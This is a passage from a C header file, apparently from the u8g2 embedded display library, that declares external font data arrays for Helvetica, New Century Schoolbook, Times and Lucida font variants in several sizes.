U8G2_FONT_SECTION("u8g2_font_helvR08_te"); extern const uint8_t u8g2_font_helvR10_tf[] U8G2_FONT_SECTION("u8g2_font_helvR10_tf"); extern const uint8_t u8g2_font_helvR10_tr[] U8G2_FONT_SECTION("u8g2_font_helvR10_tr"); extern const uint8_t u8g2_font_helvR10_tn[] U8G2_FONT_SECTION("u8g2_font_helvR10_tn"); extern const uint8_t u8g2_font_helvR10_te[] U8G2_FONT_SECTION("u8g2_font_helvR10_te"); extern const uint8_t u8g2_font_helvR12_tf[] U8G2_FONT_SECTION("u8g2_font_helvR12_tf"); extern const uint8_t u8g2_font_helvR12_tr[] U8G2_FONT_SECTION("u8g2_font_helvR12_tr"); extern const uint8_t u8g2_font_helvR12_tn[] U8G2_FONT_SECTION("u8g2_font_helvR12_tn"); extern const uint8_t u8g2_font_helvR12_te[] U8G2_FONT_SECTION("u8g2_font_helvR12_te"); extern const uint8_t u8g2_font_helvR14_tf[] U8G2_FONT_SECTION("u8g2_font_helvR14_tf"); extern const uint8_t u8g2_font_helvR14_tr[] U8G2_FONT_SECTION("u8g2_font_helvR14_tr"); extern const uint8_t u8g2_font_helvR14_tn[] U8G2_FONT_SECTION("u8g2_font_helvR14_tn"); extern const uint8_t u8g2_font_helvR14_te[] U8G2_FONT_SECTION("u8g2_font_helvR14_te"); extern const uint8_t u8g2_font_helvR18_tf[] U8G2_FONT_SECTION("u8g2_font_helvR18_tf"); extern const uint8_t u8g2_font_helvR18_tr[] U8G2_FONT_SECTION("u8g2_font_helvR18_tr"); extern const uint8_t u8g2_font_helvR18_tn[] U8G2_FONT_SECTION("u8g2_font_helvR18_tn"); extern const uint8_t u8g2_font_helvR18_te[] U8G2_FONT_SECTION("u8g2_font_helvR18_te"); extern const uint8_t u8g2_font_helvR24_tf[] U8G2_FONT_SECTION("u8g2_font_helvR24_tf"); extern const uint8_t u8g2_font_helvR24_tr[] U8G2_FONT_SECTION("u8g2_font_helvR24_tr"); extern const uint8_t u8g2_font_helvR24_tn[] U8G2_FONT_SECTION("u8g2_font_helvR24_tn"); extern const uint8_t u8g2_font_helvR24_te[] U8G2_FONT_SECTION("u8g2_font_helvR24_te"); extern const uint8_t u8g2_font_ncenB08_tf[] U8G2_FONT_SECTION("u8g2_font_ncenB08_tf"); extern const uint8_t u8g2_font_ncenB08_tr[] U8G2_FONT_SECTION("u8g2_font_ncenB08_tr"); extern const uint8_t u8g2_font_ncenB08_tn[] U8G2_FONT_SECTION("u8g2_font_ncenB08_tn"); extern const uint8_t u8g2_font_ncenB08_te[] U8G2_FONT_SECTION("u8g2_font_ncenB08_te"); extern const uint8_t u8g2_font_ncenB10_tf[] U8G2_FONT_SECTION("u8g2_font_ncenB10_tf"); extern const uint8_t u8g2_font_ncenB10_tr[] U8G2_FONT_SECTION("u8g2_font_ncenB10_tr"); extern const uint8_t u8g2_font_ncenB10_tn[] U8G2_FONT_SECTION("u8g2_font_ncenB10_tn"); extern const uint8_t u8g2_font_ncenB10_te[] U8G2_FONT_SECTION("u8g2_font_ncenB10_te"); extern const uint8_t u8g2_font_ncenB12_tf[] U8G2_FONT_SECTION("u8g2_font_ncenB12_tf"); extern const uint8_t u8g2_font_ncenB12_tr[] U8G2_FONT_SECTION("u8g2_font_ncenB12_tr"); extern const uint8_t u8g2_font_ncenB12_tn[] U8G2_FONT_SECTION("u8g2_font_ncenB12_tn"); extern const uint8_t u8g2_font_ncenB12_te[] U8G2_FONT_SECTION("u8g2_font_ncenB12_te"); extern const uint8_t u8g2_font_ncenB14_tf[] U8G2_FONT_SECTION("u8g2_font_ncenB14_tf"); extern const uint8_t u8g2_font_ncenB14_tr[] U8G2_FONT_SECTION("u8g2_font_ncenB14_tr"); extern const uint8_t u8g2_font_ncenB14_tn[] U8G2_FONT_SECTION("u8g2_font_ncenB14_tn"); extern const uint8_t u8g2_font_ncenB14_te[] U8G2_FONT_SECTION("u8g2_font_ncenB14_te"); extern const uint8_t u8g2_font_ncenB18_tf[] U8G2_FONT_SECTION("u8g2_font_ncenB18_tf"); extern const uint8_t u8g2_font_ncenB18_tr[] U8G2_FONT_SECTION("u8g2_font_ncenB18_tr"); extern const uint8_t u8g2_font_ncenB18_tn[] U8G2_FONT_SECTION("u8g2_font_ncenB18_tn"); extern const uint8_t u8g2_font_ncenB18_te[] U8G2_FONT_SECTION("u8g2_font_ncenB18_te"); extern const uint8_t u8g2_font_ncenB24_tf[] U8G2_FONT_SECTION("u8g2_font_ncenB24_tf"); extern const uint8_t u8g2_font_ncenB24_tr[] U8G2_FONT_SECTION("u8g2_font_ncenB24_tr"); extern const uint8_t u8g2_font_ncenB24_tn[] U8G2_FONT_SECTION("u8g2_font_ncenB24_tn"); extern const uint8_t u8g2_font_ncenB24_te[] U8G2_FONT_SECTION("u8g2_font_ncenB24_te"); extern const uint8_t u8g2_font_ncenR08_tf[] U8G2_FONT_SECTION("u8g2_font_ncenR08_tf"); extern const uint8_t u8g2_font_ncenR08_tr[] U8G2_FONT_SECTION("u8g2_font_ncenR08_tr"); extern const uint8_t u8g2_font_ncenR08_tn[] U8G2_FONT_SECTION("u8g2_font_ncenR08_tn"); extern const uint8_t u8g2_font_ncenR08_te[] U8G2_FONT_SECTION("u8g2_font_ncenR08_te"); extern const uint8_t u8g2_font_ncenR10_tf[] U8G2_FONT_SECTION("u8g2_font_ncenR10_tf"); extern const uint8_t u8g2_font_ncenR10_tr[] U8G2_FONT_SECTION("u8g2_font_ncenR10_tr"); extern const uint8_t u8g2_font_ncenR10_tn[] U8G2_FONT_SECTION("u8g2_font_ncenR10_tn"); extern const uint8_t u8g2_font_ncenR10_te[] U8G2_FONT_SECTION("u8g2_font_ncenR10_te"); extern const uint8_t u8g2_font_ncenR12_tf[] U8G2_FONT_SECTION("u8g2_font_ncenR12_tf"); extern const uint8_t u8g2_font_ncenR12_tr[] U8G2_FONT_SECTION("u8g2_font_ncenR12_tr"); extern const uint8_t u8g2_font_ncenR12_tn[] U8G2_FONT_SECTION("u8g2_font_ncenR12_tn"); extern const uint8_t u8g2_font_ncenR12_te[] U8G2_FONT_SECTION("u8g2_font_ncenR12_te"); extern const uint8_t u8g2_font_ncenR14_tf[] U8G2_FONT_SECTION("u8g2_font_ncenR14_tf"); extern const uint8_t u8g2_font_ncenR14_tr[] U8G2_FONT_SECTION("u8g2_font_ncenR14_tr"); extern const uint8_t u8g2_font_ncenR14_tn[] U8G2_FONT_SECTION("u8g2_font_ncenR14_tn"); extern const uint8_t u8g2_font_ncenR14_te[] U8G2_FONT_SECTION("u8g2_font_ncenR14_te"); extern const uint8_t u8g2_font_ncenR18_tf[] U8G2_FONT_SECTION("u8g2_font_ncenR18_tf"); extern const uint8_t u8g2_font_ncenR18_tr[] U8G2_FONT_SECTION("u8g2_font_ncenR18_tr"); extern const uint8_t u8g2_font_ncenR18_tn[] U8G2_FONT_SECTION("u8g2_font_ncenR18_tn"); extern const uint8_t u8g2_font_ncenR18_te[] U8G2_FONT_SECTION("u8g2_font_ncenR18_te"); extern const uint8_t u8g2_font_ncenR24_tf[] U8G2_FONT_SECTION("u8g2_font_ncenR24_tf"); extern const uint8_t u8g2_font_ncenR24_tr[] U8G2_FONT_SECTION("u8g2_font_ncenR24_tr"); extern const uint8_t u8g2_font_ncenR24_tn[] U8G2_FONT_SECTION("u8g2_font_ncenR24_tn"); extern const uint8_t u8g2_font_ncenR24_te[] U8G2_FONT_SECTION("u8g2_font_ncenR24_te"); extern const uint8_t u8g2_font_timB08_tf[] U8G2_FONT_SECTION("u8g2_font_timB08_tf"); extern const uint8_t u8g2_font_timB08_tr[] U8G2_FONT_SECTION("u8g2_font_timB08_tr"); extern const uint8_t u8g2_font_timB08_tn[] U8G2_FONT_SECTION("u8g2_font_timB08_tn"); extern const uint8_t u8g2_font_timB10_tf[] U8G2_FONT_SECTION("u8g2_font_timB10_tf"); extern const uint8_t u8g2_font_timB10_tr[] U8G2_FONT_SECTION("u8g2_font_timB10_tr"); extern const uint8_t u8g2_font_timB10_tn[] U8G2_FONT_SECTION("u8g2_font_timB10_tn"); extern const uint8_t u8g2_font_timB12_tf[] U8G2_FONT_SECTION("u8g2_font_timB12_tf"); extern const uint8_t u8g2_font_timB12_tr[] U8G2_FONT_SECTION("u8g2_font_timB12_tr"); extern const uint8_t u8g2_font_timB12_tn[] U8G2_FONT_SECTION("u8g2_font_timB12_tn"); extern const uint8_t u8g2_font_timB14_tf[] U8G2_FONT_SECTION("u8g2_font_timB14_tf"); extern const uint8_t u8g2_font_timB14_tr[] U8G2_FONT_SECTION("u8g2_font_timB14_tr"); extern const uint8_t u8g2_font_timB14_tn[] U8G2_FONT_SECTION("u8g2_font_timB14_tn"); extern const uint8_t u8g2_font_timB18_tf[] U8G2_FONT_SECTION("u8g2_font_timB18_tf"); extern const uint8_t u8g2_font_timB18_tr[] U8G2_FONT_SECTION("u8g2_font_timB18_tr"); extern const uint8_t u8g2_font_timB18_tn[] U8G2_FONT_SECTION("u8g2_font_timB18_tn"); extern const uint8_t u8g2_font_timB24_tf[] U8G2_FONT_SECTION("u8g2_font_timB24_tf"); extern const uint8_t u8g2_font_timB24_tr[] U8G2_FONT_SECTION("u8g2_font_timB24_tr"); extern const uint8_t u8g2_font_timB24_tn[] U8G2_FONT_SECTION("u8g2_font_timB24_tn"); extern const uint8_t u8g2_font_timR08_tf[] U8G2_FONT_SECTION("u8g2_font_timR08_tf"); extern const uint8_t u8g2_font_timR08_tr[] U8G2_FONT_SECTION("u8g2_font_timR08_tr"); extern const uint8_t u8g2_font_timR08_tn[] U8G2_FONT_SECTION("u8g2_font_timR08_tn"); extern const uint8_t u8g2_font_timR10_tf[] U8G2_FONT_SECTION("u8g2_font_timR10_tf"); extern const uint8_t u8g2_font_timR10_tr[] U8G2_FONT_SECTION("u8g2_font_timR10_tr"); extern const uint8_t u8g2_font_timR10_tn[] U8G2_FONT_SECTION("u8g2_font_timR10_tn"); extern const uint8_t u8g2_font_timR12_tf[] U8G2_FONT_SECTION("u8g2_font_timR12_tf"); extern const uint8_t u8g2_font_timR12_tr[] U8G2_FONT_SECTION("u8g2_font_timR12_tr"); extern const uint8_t u8g2_font_timR12_tn[] U8G2_FONT_SECTION("u8g2_font_timR12_tn"); extern const uint8_t u8g2_font_timR14_tf[] U8G2_FONT_SECTION("u8g2_font_timR14_tf"); extern const uint8_t u8g2_font_timR14_tr[] U8G2_FONT_SECTION("u8g2_font_timR14_tr"); extern const uint8_t u8g2_font_timR14_tn[] U8G2_FONT_SECTION("u8g2_font_timR14_tn"); extern const uint8_t u8g2_font_timR18_tf[] U8G2_FONT_SECTION("u8g2_font_timR18_tf"); extern const uint8_t u8g2_font_timR18_tr[] U8G2_FONT_SECTION("u8g2_font_timR18_tr"); extern const uint8_t u8g2_font_timR18_tn[] U8G2_FONT_SECTION("u8g2_font_timR18_tn"); extern const uint8_t u8g2_font_timR24_tf[] U8G2_FONT_SECTION("u8g2_font_timR24_tf"); extern const uint8_t u8g2_font_timR24_tr[] U8G2_FONT_SECTION("u8g2_font_timR24_tr"); extern const uint8_t u8g2_font_timR24_tn[] U8G2_FONT_SECTION("u8g2_font_timR24_tn"); extern const uint8_t u8g2_font_lubB08_tf[] U8G2_FONT_SECTION("u8g2_font_lubB08_tf"); extern const uint8_t u8g2_font_lubB08_tr[] U8G2_FONT_SECTION("u8g2_font_lubB08_tr"); extern const uint8_t u8g2_font_lubB08_tn[] U8G2_FONT_SECTION("u8g2_font_lubB08_tn"); extern const uint8_t u8g2_font_lubB08_te[] U8G2_FONT_SECTION("u8g2_font_lubB08_te"); extern const uint8_t u8g2_font_lubB10_tf[] U8G2_FONT_SECTION("u8g2_font_lubB10_tf"); extern const uint8_t u8g2_font_lubB10_tr[] U8G2_FONT_SECTION("u8g2_font_lubB10_tr"); extern const uint8_t u8g2_font_lubB10_tn[] U8G2_FONT_SECTION("u8g2_font_lubB10_tn"); extern const uint8_t u8g2_font_lubB10_te[] U8G2_FONT_SECTION("u8g2_font_lubB10_te"); extern const uint8_t u8g2_font_lubB12_tf[] U8G2_FONT_SECTION("u8g2_font_lubB12_tf"); extern const uint8_t u8g2_font_lubB12_tr[] U8G2_FONT_SECTION("u8g2_font_lubB12_tr"); extern const uint8_t u8g2_font_lubB12_tn[] U8G2_FONT_SECTION("u8g2_font_lubB12_tn"); extern const uint8_t u8g2_font_lubB12_te[] U8G2_FONT_SECTION("u8g2_font_lubB12_te"); extern const uint8_t u8g2_font_lubB14_tf[] U8G2_FONT_SECTION("u8g2_font_lubB14_tf"); extern const uint8_t u8g2_font_lubB14_tr[] U8G2_FONT_SECTION("u8g2_font_lubB14_tr"); extern const uint8_t u8g2_font_lubB14_tn[] U8G2_FONT_SECTION("u8g2_font_lubB14_tn"); extern const uint8_t u8g2_font_lubB14_te[] U8G2_FONT_SECTION("u8g2_font_lubB14_te"); extern const uint8_t u8g2_font_lubB18_tf[] U8G2_FONT_SECTION("u8g2_font_lubB18_tf"); extern const uint8_t u8g2_font_lubB18_tr[] U8G2_FONT_SECTION("u8g2_font_lubB18_tr"); extern const uint8_t u8g2_font_lubB18_tn[] U8G2_FONT_SECTION("u8g2_font_lubB18_tn"); extern const uint8_t u8g2_font_lubB18_te[] U8G2_FONT_SECTION("u8g2_font_lubB18_te"); extern const uint8_t u8g2_font_lubB19_tf[] U8G2_FONT_SECTION("u8g2_font_lubB19_tf"); extern const uint8_t u8g2_font_lubB19_tr[] U8G2_FONT_SECTION("u8g2_font_lubB19_tr"); extern const uint8_t u8g2_font_lubB19_tn[] U8G2_FONT_SECTION("u8g2_font_lubB19_tn"); extern const uint8_t u8g2_font_lubB19_te[] U8G2_FONT_SECTION("u8g2_font_lubB19_te"); extern const uint8_t u8g2_font_lubB24_tf[] U8G2_FONT_SECTION("u8g2_font_lubB24_tf"); extern const uint8_t u8g2_font_lubB24_tr[] U8G2_FONT_SECTION("u8g2_font_lubB24_tr"); extern const uint8_t u8g2_font_lubB24_tn[] U8G2_FONT_SECTION("u8g2_font_lubB24_tn"); extern const uint8_t u8g2_font_lubB24_te[] U8G2_FONT_SECTION("u8g2_font_lubB24_te"); extern const uint8_t u8g2_font_lubBI08_tf[] U8G2_FONT_SECTION("u8g2_font_lubBI08_tf"); extern const uint8_t u8g2_font_lubBI08_tr[] U8G2_FONT_SECTION("u8g2_font_lubBI08_tr"); extern const uint8_t u8g2_font_lubBI08_tn[] U8G2_FONT_SECTION("u8g2_font_lubBI08_tn"); extern const uint8_t u8g2_font_lubBI08_te[] U8G2_FONT_SECTION("u8g2_font_lubBI08_te"); extern const uint8_t u8g2_font_lubBI10_tf[] U8G2_FONT_SECTION("u8g2_font_lubBI10_tf"); extern const uint8_t u8g2_font_lubBI10_tr[] U8G2_FONT_SECTION("u8g2_font_lubBI10_tr"); extern const uint8_t u8g2_font_lubBI10_tn[] U8G2_FONT_SECTION("u8g2_font_lubBI10_tn"); extern const uint8_t u8g2_font_lubBI10_te[] U8G2_FONT_SECTION("u8g2_font_lubBI10_te"); extern const uint8_t u8g2_font_lubBI12_tf[] U8G2_FONT_SECTION("u8g2_font_lubBI12_tf"); extern const uint8_t u8g2_font_lubBI12_tr[] U8G2_FONT_SECTION("u8g2_font_lubBI12_tr"); extern const uint8_t u8g2_font_lubBI12_tn[] U8G2_FONT_SECTION("u8g2_font_lubBI12_tn"); extern const uint8_t u8g2_font_lubBI12_te[] U8G2_FONT_SECTION("u8g2_font_lubBI12_te"); extern const uint8_t u8g2_font_lubBI14_tf[] U8G2_FONT_SECTION("u8g2_font_lubBI14_tf"); extern const uint8_t u8g2_font_lubBI14_tr[] U8G2_FONT_SECTION("u8g2_font_lubBI14_tr"); extern const uint8_t u8g2_font_lubBI14_tn[] U8G2_FONT_SECTION("u8g2_font_lubBI14_tn"); extern const uint8_t u8g2_font_lubBI14_te[] U8G2_FONT_SECTION("u8g2_font_lubBI14_te"); extern const uint8_t u8g2_font_lubBI18_tf[] U8G2_FONT_SECTION("u8g2_font_lubBI18_tf"); extern const uint8_t u8g2_font_lubBI18_tr[] U8G2_FONT_SECTION("u8g2_font_lubBI18_tr"); extern const uint8_t u8g2_font_lubBI18_tn[] U8G2_FONT_SECTION("u8g2_font_lubBI18_tn"); extern const uint8_t u8g2_font_lubBI18_te[] U8G2_FONT_SECTION("u8g2_font_lubBI18_te"); extern const uint8_t u8g2_font_lubBI19_tf[] U8G2_FONT_SECTION("u8g2_font_lubBI19_tf"); extern const uint8_t u8g2_font_lubBI19_tr[] U8G2_FONT_SECTION("u8g2_font_lubBI19_tr"); extern const uint8_t u8g2_font_lubBI19_tn[] U8G2_FONT_SECTION("u8g2_font_lubBI19_tn"); extern const uint8_t u8g2_font_lubBI19_te[] U8G2_FONT_SECTION("u8g2_font_lubBI19_te"); extern const uint8_t u8g2_font_lubBI24_tf[] U8G2_FONT_SECTION("u8g2_font_lubBI24_tf"); extern const uint8_t u8g2_font_lubBI24_tr[] U8G2_FONT_SECTION("u8g2_font_lubBI24_tr"); extern const uint8_t u8g2_font_lubBI24_tn[] U8G2_FONT_SECTION("u8g2_font_lubBI24_tn"); extern const uint8_t u8g2_font_lubBI24_te[] U8G2_FONT_SECTION("u8g2_font_lubBI24_te"); extern const uint8_t u8g2_font_lubI08_tf[] U8G2_FONT_SECTION("u8g2_font_lubI08_tf"); extern const uint8_t u8g2_font_lubI08_tr[] U8G2_FONT_SECTION("u8g2_font_lubI08_tr"); extern const uint8_t u8g2_font_lubI08_tn[] U8G2_FONT_SECTION("u8g2_font_lubI08_tn"); extern const uint8_t u8g2_font_lubI08_te[] U8G2_FONT_SECTION("u8g2_font_lubI08_te"); extern const uint8_t u8g2_font_lubI10_tf[] U8G2_FONT_SECTION("u8g2_font_lubI10_tf"); extern const uint8_t u8g2_font_lubI10_tr[] U8G2_FONT_SECTION("u8g2_font_lubI10_tr"); extern const uint8_t u8g2_font_lubI10_tn[] U8G2_FONT_SECTION("u8g2_font_lubI10_tn"); extern const uint8_t u8g2_font_lubI10_te[] U8G2_FONT_SECTION("u8g2_font_lubI10_te"); extern const uint8_t u8g2_font_lubI12_tf[] U8G2_FONT_SECTION("u8g2_font_lubI12_tf"); extern const uint8_t u8g2_font_lubI12_tr[] U8G2_FONT_SECTION("u8g2_font_lubI12_tr"); extern const uint8_t u8g2_font_lubI12_tn[] U8G2_FONT_SECTION("u8g2_font_lubI12_tn"); extern const uint8_t u8g2_font_lubI12_te[] U8G2_FONT_SECTION("u8g2_font_lubI12_te"); extern const uint8_t u8g2_font_lubI14_tf[] U8G2_FONT_SECTION("u8g2_font_lubI14_tf"); extern const uint8_t u8g2_font_lubI14_tr[] U8G2_FONT_SECTION("u8g2_font_lubI14_tr"); extern const uint8_t u8g2_font_lubI14_tn[] U8G2_FONT_SECTION("u8g2_font_lubI14_tn"); extern const uint8_t u8g2_font_lubI14_te[] U8G2_FONT_SECTION("u8g2_font_lubI14_te"); extern const uint8_t u8g2_font_lubI18_tf[] U8G2_FONT_SECTION("u8g2_font_lubI18_tf"); extern const uint8_t u8g2_font_lubI18_tr[] U8G2_FONT_SECTION("u8g2_font_lubI18_tr"); extern const uint8_t u8g2_font_lubI18_tn[] U8G2_FONT_SECTION("u8g2_font_lubI18_tn"); extern const uint8_t u8g2_font_lubI18_te[] U8G2_FONT_SECTION("u8g2_font_lubI18_te"); extern const uint8_t u8g2_font_lubI19_tf[] U8G2_FONT_SECTION("u8g2_font_lubI19_tf"); extern const uint8_t u8g2_font_lubI19_tr[] U8G2_FONT_SECTION("u8g2_font_lubI19_tr"); extern const uint8_t u8g2_font_lubI19_tn[] U8G2_FONT_SECTION("u8g2_font_lubI19_tn"); extern const uint8_t u8g2_font_lubI19_te[] U8G2_FONT_SECTION("u8g2_font_lubI19_te"); extern const uint8_t u8g2_font_lubI24_tf[] U8G2_FONT_SECTION("u8g2_font_lubI24_tf"); extern const uint8_t u8g2_font_lubI24_tr[] U8G2_FONT_SECTION("u8g2_font_lubI24_tr"); extern const uint8_t u8g2_font_lubI24_tn[] U8G2_FONT_SECTION("u8g2_font_lubI24_tn"); extern const uint8_t u8g2_font_lubI24_te[] U8G2_FONT_SECTION("u8g2_font_lubI24_te"); extern const uint8_t u8g2_font_luBIS08_tf[] U8G2_FONT_SECTION("u8g2_font_luBIS08_tf"); extern const uint8_t u8g2_font_luBIS08_tr[] U8G2_FONT_SECTION("u8g2_font_luBIS08_tr"); extern const uint8_t u8g2_font_luBIS08_tn[] U8G2_FONT_SECTION("u8g2_font_luBIS08_tn"); extern const uint8_t u8g2_font_luBIS08_te[] U8G2_FONT_SECTION("u8g2_font_luBIS08_te"); extern const uint8_t u8g2_font_luBIS10_tf[] U8G2_FONT_SECTION("u8g2_font_luBIS10_tf"); extern const uint8_t u8g2_font_luBIS10_tr[] U8G2_FONT_SECTION("u8g2_font_luBIS10_tr"); extern const uint8_t u8g2_font_luBIS10_tn[] U8G2_FONT_SECTION("u8g2_font_luBIS10_tn"); extern const uint8_t u8g2_font_luBIS10_te[] U8G2_FONT_SECTION("u8g2_font_luBIS10_te"); extern const uint8_t u8g2_font_luBIS12_tf[] U8G2_FONT_SECTION("u8g2_font_luBIS12_tf"); extern const uint8_t u8g2_font_luBIS12_tr[] U8G2_FONT_SECTION("u8g2_font_luBIS12_tr"); extern const uint8_t u8g2_font_luBIS12_tn[] U8G2_FONT_SECTION("u8g2_font_luBIS12_tn"); extern const uint8_t u8g2_font_luBIS12_te[] U8G2_FONT_SECTION("u8g2_font_luBIS12_te"); extern const uint8_t u8g2_font_luBIS14_tf[] U8G2_FONT_SECTION("u8g2_font_luBIS14_tf"); extern const uint8_t u8g2_font_luBIS14_tr[] U8G2_FONT_SECTION("u8g2_font_luBIS14_tr"); extern const uint8_t u8g2_font_luBIS14_tn[] U8G2_FONT_SECTION("u8g2_font_luBIS14_tn"); extern const uint8_t u8g2_font_luBIS14_te[] U8G2_FONT_SECTION("u8g2_font_luBIS14_te"); extern const uint8_t u8g2_font_luBIS18_tf[] U8G2_FONT_SECTION("u8g2_font_luBIS18_tf"); extern const uint8_t u8g2_font_luBIS18_tr[] U8G2_FONT_SECTION("u8g2_font_luBIS18_tr"); extern const uint8_t u8g2_font_luBIS18_tn[] U8G2_FONT_SECTION("u8g2_font_luBIS18_tn"); extern const uint8_t u8g2_font_luBIS18_te[] U8G2_FONT_SECTION("u8g2_font_luBIS18_te"); extern const uint8_t u8g2_font_luBIS19_tf[] U8G2_FONT_SECTION("u8g2_font_luBIS19_tf"); extern const uint8_t u8g2_font_luBIS19_tr[] U8G2_FONT_SECTION("u8g2_font_luBIS19_tr"); extern const uint8_t u8g2_font_luBIS19_tn[] U8G2_FONT_SECTION("u8g2_font_luBIS19_tn"); extern const uint8_t u8g2_font_luBIS19_te[] U8G2_FONT_SECTION("u8g2_font_luBIS19_te"); extern const uint8_t u8g2_font_luBIS24_tf[] U8G2_FONT_SECTION("u8g2_font_luBIS24_tf"); extern const uint8_t u8g2_font_luBIS24_tr[] U8G2_FONT_SECTION("u8g2_font_luBIS24_tr"); extern const uint8_t u8g2_font_luBIS24_tn[] U8G2_FONT_SECTION("u8g2_font_luBIS24_tn"); extern const uint8_t u8g2_font_luBIS24_te[] U8G2_FONT_SECTION("u8g2_font_luBIS24_te"); extern const uint8_t u8g2_font_lubR08_tf[] U8G2_FONT_SECTION("u8g2_font_lubR08_tf"); extern const uint8_t u8g2_font_lubR08_tr[] U8G2_FONT_SECTION("u8g2_font_lubR08_tr"); extern const uint8_t u8g2_font_lubR08_tn[] U8G2_FONT_SECTION("u8g2_font_lubR08_tn"); extern const uint8_t u8g2_font_lubR08_te[] U8G2_FONT_SECTION("u8g2_font_lubR08_te"); extern const uint8_t u8g2_font_lubR10_tf[] U8G2_FONT_SECTION("u8g2_font_lubR10_tf"); extern const uint8_t u8g2_font_lubR10_tr[] U8G2_FONT_SECTION("u8g2_font_lubR10_tr"); extern const uint8_t u8g2_font_lubR10_tn[] U8G2_FONT_SECTION("u8g2_font_lubR10_tn"); extern const uint8_t u8g2_font_lubR10_te[] U8G2_FONT_SECTION("u8g2_font_lubR10_te"); extern const uint8_t u8g2_font_lubR12_tf[] U8G2_FONT_SECTION("u8g2_font_lubR12_tf"); extern const uint8_t u8g2_font_lubR12_tr[] U8G2_FONT_SECTION("u8g2_font_lubR12_tr"); extern const uint8_t u8g2_font_lubR12_tn[] U8G2_FONT_SECTION("u8g2_font_lubR12_tn"); extern const uint8_t u8g2_font_lubR12_te[] U8G2_FONT_SECTION("u8g2_font_lubR12_te"); extern const uint8_t u8g2_font_lubR14_tf[] U8G2_FONT_SECTION("u8g2_font_lubR14_tf"); extern const uint8_t u8g2_font_lubR14_tr[] U8G2_FONT_SECTION("u8g2_font_lubR14_tr"); extern const uint8_t u8g2_font_lubR14_tn[] U8G2_FONT_SECTION("u8g2_font_lubR14_tn"); extern const uint8_t u8g2_font_lubR14_te[] U8G2_FONT_SECTION("u8g2_font_lubR14_te"); extern const uint8_t u8g2_font_lubR18_tf[] U8G2_FONT_SECTION("u8g2_font_lubR18_tf"); extern const uint8_t u8g2_font_lubR18_tr[] U8G2_FONT_SECTION("u8g2_font_lubR18_tr"); extern const uint8_t u8g2_font_lubR18_tn[] U8G2_FONT_SECTION("u8g2_font_lubR18_tn"); extern const uint8_t u8g2_font_lubR18_te[] U8G2_FONT_SECTION("u8g2_font_lubR18_te"); extern const uint8_t u8g2_font_lubR19_tf[] U8G2_FONT_SECTION("u8g2_font_lubR19_tf"); extern const uint8_t u8g2_font_lubR19_tr[] U8G2_FONT_SECTION("u8g2_font_lubR19_tr"); extern const uint8_t u8g2_font_lubR19_tn[] U8G2_FONT_SECTION("u8g2_font_lubR19_tn"); extern const uint8_t u8g2_font_lubR19_te[] U8G2_FONT_SECTION("u8g2_font_lubR19_te"); extern const uint8_t u8g2_font_lubR24_tf[] U8G2_FONT_SECTION("u8g2_font_lubR24_tf"); extern const uint8_t u8g2_font_lubR24_tr[] U8G2_FONT_SECTION("u8g2_font_lubR24_tr"); extern const uint8_t u8g2_font_lubR24_tn[] U8G2_FONT_SECTION("u8g2_font_lubR24_tn"); extern const uint8_t u8g2_font_lubR24_te[] U8G2_FONT_SECTION("u8g2_font_lubR24_te"); extern const uint8_t u8g2_font_luBS08_tf[] U8G2_FONT_SECTION("u8g2_font_luBS08_tf"); extern const uint8_t u8g2_font_luBS08_tr[] U8G2_FONT_SECTION("u8g2_font_luBS08_tr"); extern const uint8_t u8g2_font_luBS08_tn[] U8G2_FONT_SECTION("u8g2_font_luBS08_tn"); extern const uint8_t u8g2_font_luBS08_te[] U8G2_FONT_SECTION("u8g2_font_luBS08_te"); extern const uint8_t u8g2_font_luBS10_tf[] U8G2_FONT_SECTION("u8g2_font_luBS10_tf"); extern const uint8_t u8g2_font_luBS10_tr[] U8G2_FONT_SECTION("u8g2_font_luBS10_tr"); extern const uint8_t u8g2_font_luBS10_tn[] U8G2_FONT_SECTION("u8g2_font_luBS10_tn"); extern const uint8_t u8g2_font_luBS10_te[] U8G2_FONT_SECTION("u8g2_font_luBS10_te"); extern const uint8_t u8g2_font_luBS12_tf[] U8G2_FONT_SECTION("u8g2_font_luBS12_tf"); extern const uint8_t u8g2_font_luBS12_tr[] U8G2_FONT_SECTION("u8g2_font_luBS12_tr"); extern const uint8_t u8g2_font_luBS12_tn[] U8G2_FONT_SECTION("u8g2_font_luBS12_tn"); extern const uint8_t u8g2_font_luBS12_te[] U8G2_FONT_SECTION("u8g2_font_luBS12_te"); extern const uint8_t u8g2_font_luBS14_tf[] U8G2_FONT_SECTION("u8g2_font_luBS14_tf"); extern const uint8_t u8g2_font_luBS14_tr[] U8G2_FONT_SECTION("u8g2_font_luBS14_tr"); extern const uint8_t u8g2_font_luBS14_tn[] U8G2_FONT_SECTION("u8g2_font_luBS14_tn"); extern const uint8_t u8g2_font_luBS14_te[] U8G2_FONT_SECTION("u8g2_font_luBS14_te"); extern const uint8_t u8g2_font_luBS18_tf[] U8G2_FONT_SECTION("u8g2_font_luBS18_tf"); extern const uint8_t u8g2_font_luBS18_tr[] U8G2_FONT_SECTION("u8g2_font_luBS18_tr"); extern const uint8_t u8g2_font_luBS18_tn[] U8G2_FONT_SECTION("u8g2_font_luBS18_tn"); extern const uint8_t u8g2_font_luBS18_te[] U8G2_FONT_SECTION("u8g2_font_luBS18_te"); extern const uint8_t u8g2_font_luBS19_tf[] U8G2_FONT_SECTION("u8g2_font_luBS19_tf"); extern const uint8_t u8g2_font_luBS19_tr[] U8G2_FONT_SECTION("u8g2_font_luBS19_tr"); extern const uint8_t u8g2_font_luBS19_tn[] U8G2_FONT_SECTION("u8g2_font_luBS19_tn"); extern const uint8_t u8g2_font_luBS19_te[] U8G2_FONT_SECTION("u8g2_font_luBS19_te"); extern const uint8_t u8g2_font_luBS24_tf[] U8G2_FONT_SECTION("u8g2_font_luBS24_tf"); extern const uint8_t u8g2_font_luBS24_tr[] U8G2_FONT_SECTION("u8g2_font_luBS24_tr"); extern const uint8_t u8g2_font_luBS24_tn[] U8G2_FONT_SECTION("u8g2_font_luBS24_tn"); extern const uint8_t u8g2_font_luBS24_te[] U8G2_FONT_SECTION("u8g2_font_luBS24_te"); extern const uint8_t u8g2_font_luIS08_tf[] U8G2_FONT_SECTION("u8g2_font_luIS08_tf"); extern const uint8_t u8g2_font_luIS08_tr[] U8G2_FONT_SECTION("u8g2_font_luIS08_tr"); extern const uint8_t u8g2_font_luIS08_tn[] U8G2_FONT_SECTION("u8g2_font_luIS08_tn"); extern const uint8_t u8g2_font_luIS08_te[] U8G2_FONT_SECTION("u8g2_font_luIS08_te"); extern const uint8_t u8g2_font_luIS10_tf[] 